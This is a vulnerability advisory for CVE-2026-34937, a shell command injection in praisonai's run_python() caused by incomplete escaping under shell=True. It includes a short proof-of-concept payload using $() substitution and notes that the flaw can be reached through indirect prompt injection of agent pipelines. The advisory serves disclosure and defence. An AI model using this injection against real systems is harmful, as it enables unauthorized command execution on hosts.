CVE-2026-34937

### Summary `run_python()` in `praisonai` constructs a shell command string by interpolating user-controlled code into `python3 -c "<code>"` and passing it to `subprocess.run(..., shell=True)`. The escaping logic only handles `\` and `"`, leaving `$()` and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked. ### Details `execute_command.py:290` (source) -> `execute_command.py:297` (hop) -> `execute_command.py:310` (sink) ```python # source -- user-controlled code argument def run_python(code: str, cwd=None, timeout=60): # hop -- incomplete escaping, $ and () not handled escaped_code = code.replace('\\', '\\\\').replace('"', '\\"') command = f'{python_cmd} -c "{escaped_code}"' # sink -- shell=True expands $() before python3 runs return execute_command(command=command, cwd=cwd, timeout=timeout) # execute_command calls subprocess.run(command, shell=True, ...) ``` ### PoC ```python # tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30) # install: pip install -e src/praisonai import sys sys.path.insert(0, 'src/praisonai') from praisonai.code.tools.execute_command import run_python result = run_python(code='$(id > /tmp/injected)') print(result) # verify import subprocess print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout) # expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)... ``` ### Impact Any agent pipeline or API consumer that passes user or task-supplied content to `run_python()` is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with `AUTH_ENABLED = False` by default when no token is configured.
